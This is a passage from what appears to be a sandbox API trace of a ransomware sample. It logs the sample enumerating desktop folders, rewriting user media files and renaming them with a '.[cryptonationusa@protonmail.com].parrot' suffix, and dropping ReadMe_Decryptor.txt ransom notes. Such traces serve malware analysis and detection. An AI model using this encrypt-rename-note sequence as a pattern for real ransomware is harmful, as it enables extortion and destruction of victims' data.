hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0032.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0032.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.799] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10033) returned 0x635298 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0032.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.801] GetLastError () returned 0x0 [0032.801] SetLastError (dwErrCode=0x0) [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.801] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.801] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.802] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0032.802] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0032.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0032.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0032.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0032.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0032.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6452d8 [0032.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0032.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x629218 [0032.803] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.804] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x6452d8 [0032.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0032.805] WriteFile (in: hFile=0x258, lpBuffer=0x6452e0*, nNumberOfBytesToWrite=0xbb78, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x6452e0*, lpNumberOfBytesWritten=0x18fa94*=0xbb78, lpOverlapped=0x0) returned 1 [0032.805] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0032.806] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbb70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.806] CloseHandle (hObject=0x258) returned 1 [0032.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0032.808] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0032.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0032.808] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OMMQxeXh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ommqxexh.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OMMQxeXh.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ommqxexh.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.808] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0032.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0032.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0032.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.809] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0032.810] GetFileType (hFile=0x258) returned 0x1 [0032.810] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.820] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0032.820] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0032.820] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bbaef0, ftCreationTime.dwHighDateTime=0x1d5bcd8, ftLastAccessTime.dwLowDateTime=0x34d74730, ftLastAccessTime.dwHighDateTime=0x1d5c1b6, ftLastWriteTime.dwLowDateTime=0x34d74730, ftLastWriteTime.dwHighDateTime=0x1d5c1b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0032.820] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0032.820] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0032.820] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d67060, ftCreationTime.dwHighDateTime=0x1d5be1f, ftLastAccessTime.dwLowDateTime=0x22655640, ftLastAccessTime.dwHighDateTime=0x1d5bef1, ftLastWriteTime.dwLowDateTime=0x22655640, ftLastWriteTime.dwHighDateTime=0x1d5bef1, nFileSizeHigh=0x0, nFileSizeLow=0x596, dwReserved0=0x0, dwReserved1=0x0, cFileName="eGKSNoCFe2.m4a", cAlternateFileName="EGKSNO~1.M4A")) returned 1 [0032.820] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d448 [0032.820] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.820] lstrcmpW (lpString1="eGKSNoCFe2.m4a", lpString2="ReadMe_Decryptor.txt") returned -1 [0032.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\eGKSNoCFe2.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\egksnocfe2.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.821] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18f820 | out: lpFileSizeHigh=0x18f820*=0x0) returned 0x596 [0032.821] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0032.821] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0032.821] ReadFile (in: hFile=0x23c, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0032.822] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.822] ReadFile (in: hFile=0x23c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x596, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x596, lpOverlapped=0x0) returned 1 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0032.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0032.822] GetLastError () returned 0x0 [0032.822] SetLastError (dwErrCode=0x0) [0032.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2700 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0032.822] GetLastError () returned 0x0 [0032.822] SetLastError (dwErrCode=0x0) [0032.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.822] GetLastError () returned 0x0 [0032.822] SetLastError (dwErrCode=0x0) [0032.822] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0032.822] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0032.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5a0) returned 0x5d2850 [0032.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb30) returned 0x5cce58 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.870] GetLastError () returned 0x0 [0032.870] SetLastError (dwErrCode=0x0) [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2700 | out: hHeap=0x5b0000) returned 1 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0032.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0032.870] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.870] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0032.870] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0032.871] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0032.871] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0032.872] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0032.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0032.872] WriteFile (in: hFile=0x23c, lpBuffer=0x5d4d18*, nNumberOfBytesToWrite=0x6b8, lpNumberOfBytesWritten=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x5d4d18*, lpNumberOfBytesWritten=0x18f7a4*=0x6b8, lpOverlapped=0x0) returned 1 [0032.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0032.872] UnlockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0032.872] CloseHandle (hObject=0x23c) returned 1 [0032.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x601838 [0032.873] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x5d6de8 [0032.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0032.874] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\eGKSNoCFe2.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\egksnocfe2.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\eGKSNoCFe2.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\egksnocfe2.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0032.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0032.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0032.874] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0032.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60c5e8 [0032.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x601838 [0032.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0032.874] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0032.874] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f598, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.875] GetFileType (hFile=0x23c) returned 0x1 [0032.875] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0032.885] lstrcmpW (lpString1="YjYYP1K-JxmugG9XF3.flv", lpString2="ReadMe_Decryptor.txt") returned 1 [0032.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\YjYYP1K-JxmugG9XF3.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\yjyyp1k-jxmugg9xf3.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0032.886] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18f820 | out: lpFileSizeHigh=0x18f820*=0x0) returned 0x25a5 [0032.886] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26bd, 